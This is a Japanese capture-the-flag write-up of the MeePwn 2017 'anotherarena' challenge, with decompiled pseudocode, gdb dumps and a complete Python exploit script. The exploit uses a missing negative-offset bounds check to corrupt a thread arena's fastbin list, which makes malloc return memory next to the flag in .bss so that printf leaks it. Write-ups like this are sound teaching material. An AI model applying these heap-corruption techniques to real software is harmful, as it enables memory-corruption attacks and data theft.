anotherarena (MeePwn CTF 1st 2017) のwriteup

https://ctftime.org/task/4313
MeePwn CTF 1st 2017 の anotherarenaです。
例によって上手い人に教えてもらいました。その節はありがとうございました。

概要

戻した擬似コード(ほぼC)

int size;

int main(){
  uint_64t newthread; //ほんとは pthread_t *
  uint_64t th;        
  uint_64t thread_return;
  uint_32t fd;

  // flagファイルをbssに読み込む
  fd = open("/home/anotherarena/flag", 0);
  offset_flag = 0x602101
  read(fd, offset_flag, 0x80);
  close(fd); 

  //1回目のスレッドでの作業でmallocで確保するサイズの取得
  size = read_malloc_size();

  //1回目のスレッドでの作業
  pthread_create(newthread, NULL, recv, NULL);
  pthread_join(newthread, thread_return);

  //2回目のスレッドでの作業, こちらがメイン
  pthread_create(th, NULL, start_routine, thread_return);
  pthread_join(th, NULL);

  return 0;
}

int read_malloc_size(){
  char *buf;
  read(stdin, buf, 8);
  return atoi(buf);
}

void* recv(){
  return malloc(size);
}

void start_routine(void *chunk){
  int residual_byte_count;
  int input_offset;
  int *input_cursor;
  void *chunk_head;

  chunk_head = chunk;
  input_cursor = chunk;
  residual_byte_count = size;

  //オフセットを入力し、chunk_head[input_offset]を書き換えられる
  while(residual_byte_count != 0){
    //オフセットの読み込み
    read(stdin, input_cursor, 4);
    input_offset = *input_cursor;
    input_cursor++; //4byte進める
    residual_byte_count -= 4;  //オフセットをchunkに読み込んだ分減る.

    //4バイトより残りが少なくなったか、オフセットがでかすぎたら中止
    if ((residual_byte_count <=3) || (input_offset > residual_byte_count) )  break

    read(stdin, *chunk_head[input_offset], 4);

    residual_byte_count -= 4;  //chunk[inputted_offset]に読み込んだ分減る.
  }

  int sum;
  int current_offset;
  void *buf_to_print;
  void *current_item;
  int size_buf_to_print; //qwordとして確保されているがuint_32tとしてしか使われないっぽい

  sum = 0;
  current_offset = 0;

  //chunkの中身を呼んで総和を取る
  while(current_offset < size){
    current_item = (int) chunk_head[current_offset];
    sum += current_item;
    current_offset++;
  }

  //好きなサイズを入力し,好きな内容を書き込める
  size_buf_to_print = read_malloc_size();
  buf_to_print = malloc(size_buf_to_print);
  read(stdin, buf_to_print, size_buf_to_print);

  //ここがライセンスチェックとかsecret_keyチェックとか呼んだとこ
  if(sum != 0x0c0c0aff6){
    puts("Bad b0y!");
  }else{
    printf("Good boy! Your license: %sn", buf_to_print);
  }  

  return;
}

start_routineのIDAメモ

エクスプロイトの手順

概要

  1. あとのmallocでflagの手前あたりの位置を返すための仕込み
  2. 1スレッド目、mallocで確保するサイズとして0x7fを渡し、chunkを確保. 0x7fはグローバル変数sizeに格納されるのでbssにいる
  3. 2スレッド目、input_offsetに負の値を入れ、chunk_head[input_offset]が、chunk_headの指す先より前にある,main_arenaじゃないarenaのmalloc_state構造体のfastbinsYの0x70サイズのところを指すようにする
  4. 上記のfastbinsYの0x70サイズのリンクリストのヘッダがbssのsize変数がある一つ上(0x8だけ上)を指すようにする
  5. secret_keyチェックを合格するための仕込み
  6. input_offsetに0を入れる。
  7. chunk_head[input_offset=0] に secret_key – 0x80を入れる
  8. input_offsetに0x80を入れ、ループを脱出する
  9. mallocでflagの手前あたりを確保したら、そこからflagまで一続きにprintするための仕込み
  10. mallocしたときにサイズ0x70を担当するfastbinsから割り当ててもらうために、少し小さい0x60を渡しmallocさせ、print_bufを確保する
  11. サイズ0x70を担当するfastbinsを書き換えておいたのでprint_bufは、bss上の良い感じの位置から確保された。flagまで読み出せるように、flagまで隙間なく’A’で埋める
  12. printすると末尾にflagも一緒についてくる!

あとのmallocでflagの手前あたりの位置を返すための仕込み

擬似コードを読めばわかるが、まずbssにflagファイルを読み込んでいる。
そのあと、入力したサイズ分だけchunkを確保し、オフセットを入力させそこを書き換えている。

mainarenaは書き換えるのに労力がいるらしいが、今回は別なthreadの中なのでmallocが使うarenaはmainarenaではない。このようなarenaの場合、arenaの管理用構造体、mallocstate構造体の後ろからmallocで確保されてゆく。つまり、mallocで確保されたchunkの前にarenaの管理用構造体、mallocstate構造体がある。
しかもオフセットは最大値側のバウンダリチェックしかしていないので、負の値が入る. 負の値を入れればchunkの前側にいるmalloc_state構造体を書き換えることができる。

malloc_state構造体の中のfastbinsYとかいうのを書き換えて、次にmallocしたときに所望の位置が返ってくるようにできる。

その所望の位置は…bssの、flagファイルが読み込まれたあたりである。

ちなみになんで0x70がターゲットとなったのかは不明。

mallocで0x7fぶん確保する

https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c

2151          assert (fastbin_index (chunksize (p)) == i);

のとおり、chunksize()ではLSB側3bitがマスクされ、fastbin_index()ではx64の場合右に4bitシフトされ-2され、結果的にサイズ0x70を担当するfastbinsのインデックス, 0x5になる。そのため、結果的に0x5になるものであればなんでも良いが0x7fとする。

(なんでも良いが0x7f以外だとなんだかよくわからないが失敗する…らしい. 0x70のfastbinを使うのは大きさがちょうどよいから?ヨクワカリマセン)

mallocstate構造体のfastbinsYを指すようにinputoffsetを入力する

x64のlinuxではfastbinsは0x10バイト刻みに、0x20からfastbinsが用意されている。0x70を担当するのは、インデックスが0x5,つまり6番目のfastbinである。
chunk_headからのオフセットを計算するために、まずここのアドレスを調べる。

gdb-peda$ p main_arena
$8 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x603120, 
  last_remainder = 0x0, 
  bins = {0x7ffff7bb4b78 <main_arena+88>, 0x7ffff7bb4b78 <main_arena+88>, ...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff0000020, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
}

これのnextが見たいarena.

gdb-peda$ p (struct malloc_state)*0x7ffff0000020

とやる。よくみれば0x7ffff0000050がfatbinsYの6番目だとわかる。

gdb-peda$ set {char}0x7ffff0000050=42

とかやるとfatbinsYの6番目が書き換わったのが確認できる。

なのでinput_offsetは(0x7ffff0000050 – 0x7ffff0000020)にすればよい. これでchunk_head[input_offset]はfatbinsYの6番目を指す.

malloc_state構造体のfastbinsYを、bssエリアのflagのちょっと前を指すように書き換える

flagファイルがロードされた位置をbssエリアを表示させ確認する.bssエリアのアドレスはgdb-peda$ readelfでわかる.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead.   prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsizeとして読まれる
0072| 0x6020e8 --> 0x0                                              ; これ以降はpseudo_chunkのcontentsになる
0080| 0x6020f0 --> 0x0 
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           ;= flag!!!!
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

なお、mallocで確保されるチャンクは以下のようになっている. sizeのチェックが入るので, 正しい値(今回は冒頭で説明したように0x7f)を入れなくてはならない.

          |prev_size|
          |size     |
<- malloc |contents |
          | ...     |

なので、上のbssエリアを表示させた例についてるコメントのように, 0x7fが入ってるとこの一つ上, 0x6020d8をfastbinsYのサイズ0x70を担当するところに書き込む.
こうすれば次に, サイズ0x70(に収まるもの)をmallocで要求したときに, そこのアドレスを返してくれる.

secret_keyチェックに合格するための仕込み

擬似コードを読めばわかるが、chunkの中身の総和をとり、それをsecret_key, 0x0c0c0aff6と比較して、等しいかどうかで分岐している. 合格しないとBad b0y!が表示されるだけ.
flagファイルがロードされたところをプリントするためには、まずこれに合格しなければならない.

ここまでで、chunkは以下のようになっている.(ちなみに0xfffff790はchunk_headからfastbinsYの6番目までのオフセット、0x7ffff0000050 – 0x7ffff0000020を計算したもの.)

input_cursor(上位4バイトを指す), chunk_head   -> |0x00000000fffff790|
                                              |0x0000000000000000| 
                                              |0x0000000000000000|  

                                          ..  (全体で0x7fのサイズ)...

                                              |0x0000000000000000| 

chunk全体の総和が0x0c0c0aff6になるように頑張る.

input_offsetに0を入れる。

擬似コードを読めばわかるが、オフセットとして入力したものはinput_cursorが指している先に書き込まれる.

chunk_head   ->                  |0x00000000fffff790|
input_cursor(下位4バイトを指す) ->  |0x0000000000000000|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

chunk_head[input_offset=0] に secret_key – 0x80を入れる

chunk_head   ->                  |0x0c0c0aff6 - 0x80|
input_cursor(下位4バイトを指す) ->  |0x0000000000000000|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

input_offsetに0x80を入れ、ループを脱出する

大きい方の境界チェックはあるので、0x7fより大きい0x80を入れることでループがとまる. このときchunkに余計な0x80が入るので、さっき入れたのはその分を引いたsecret_key – 0x80だったというわけ.

chunk_head   ->                  |0x0c0c0aff6 - 0x80|
input_cursor(上位4バイトを指す) ->  |0x0000000000000080|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

これでchunkの総和が0x0c0c0aff6に等しくなった.

mallocでflagの手前あたりを確保したら、そこからflagまで一続きにprintするための仕込み

擬似コードを読めばわかるが,最後にprintf(“Good boy! Your license: %sn”, buf_to_print);でbuf_to_printを表示させている. 上までの仕込みのおかげで、buftoprintをmallocで確保するときにサイズを0x60にすると、bssエリアのflagが読み込まれている少し前の位置のアドレスがmallocの戻り値となる.
よって、buf_to_printの中身をうまいことやれば、flagまでリークできる.

mallocしたときにサイズ0x70を担当するfastbinsから割り当ててもらうために、少し小さい0x60を渡しmallocさせ、print_bufを確保する

擬似コードを読めばわかるが, ループを抜けた後、chunkの総和を計算した後、size_buf_to_printを入力させ、buf_to_printを確保する.
その際、mallocに, 0x60を渡すと、サイズ0x70を担当するfastbinsから割り当ててくれる.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsizeとして読まれる
0072| 0x6020e8 --> 0x0                                              ; これ以降はpseudo_chunkのcontentsになる. !!!!!ココが今回のmallocの戻り値となる!!!!!
0080| 0x6020f0 --> 0x0 
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           ;= flag!!!!
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

buftoprintからflagまで読み出せるように、flagまで隙間なく’A’で埋める

サイズ0x70を担当するfastbinsを書き換えておいたのでprint_bufは、bss上の良い感じの位置から確保された。 flagとの間に0があるので、printf(“Good boy! Your license: %sn”, buf_to_print);のときにそこで止まってしまう…ということは、flagの位置まで’A’などで埋めれば途切れることなくそこまで読み出せる.
なのでflagの位置(0x602101)とのオフセットを計算し、0x602101 – 0x6020e8個の’A’をbuftoprintに書き込む.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsize
0032| 0x6020e8 ('A' <repeats 25 times>, "!flag!n")                 ; これ以降はpseudo_chunkのcontentsになる. !!!!!ココが今回のmallocの戻り値となる!!!!! buf_to_printが指す位置.
0040| 0x6020f0 ('A' <repeats 17 times>, "!flag!n")
0048| 0x6020f8 ("AAAAAAAAA!flag!n")
0056| 0x602100 ("A!flag!n")                                        ;= flag!!!!
0072| 0x6020e8 --> 0x0                                              
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

おしまい

Good boy! Your license: AAAAAAAAAAAAAAAAAAAAAAAAA!flag!

スクリプト

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
    return struct.unpack("<Q",a.ljust(8, "") )[0]

def p32s(a): return struct.pack("<i",a)
def p32(a): return struct.pack("<I",a)

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# -- subroutine--

# --- main ---
s, f = sock("localhost", 1025)    # 接続


# *** 1つ目のthread ***
# ひとつ目のthreadでmallocするサイズを指定
chunk_size = 0x7f # なんでもよい, fastbinsのために良いサイズにしておく0x7fとか. 
f.write(str(chunk_size).ljust(8, 'x00')) # 8bytes よみこみ

# *** 2つ目のthread ***

addr_chunk              = 0x7ffff00008c0
addr_fastbins_size_0x70 = 0x7ffff0000050
offset_to_fastbins_size_0x70 = addr_fastbins_size_0x70 - addr_chunk

# index
f.write( p32s(offset_to_fastbins_size_0x70) ) # 4bytest よみこみ readは0でくぎってくれない
# sleepをいれてやることでも くぎれる

# なかみ. 偽のchunkを渡す。chunk->sizeがさっきbssに入れた0x7fの場所にくるような位置にする
pseude_chunk = 0x6020d8
f.write(p32s(pseude_chunk))

# index, liscenseの計算が面倒にならないように、もういちどchunkの先頭をささせて書き換えておくため
f.write(p32s(0))

secret_key = 0x0C0C0AFF6
final_offset = 0x80
# なかみ, liscenseチェックをクリアできるようにつじつまあわせ
f.write(p32(secret_key -final_offset))

# index. invalidなほどでかい値を入れる. これはchunkの入力場所の後ろに確保されるのでliscense計算に入ってしまう、のでさっきliscenseの値から引いておいた
f.write(p32s(final_offset) )

# ここでループ脱出


# **ライセンスチェック前**

# mallocのサイズ
f.write(str(0x60).ljust(8, "x00") ) # fastbinsは0x10きざみ,0x70のfastbinsからほしいのでこうする,少し小さめの0x60にすると0x70のbinからくるらしい


# flagまでつめものをする. そうするとflagとの間に一個もnull文字が入らないのでflagまでgood_boyのbranchにあるprintfで読み出せる
addr_flag = 0x602101
pseude_chunk_nakami = pseude_chunk + (0x8*2)
offset_to_flag = addr_flag - pseude_chunk_nakami

f.write("A" * (offset_to_flag) ) 

shell(s)

コメント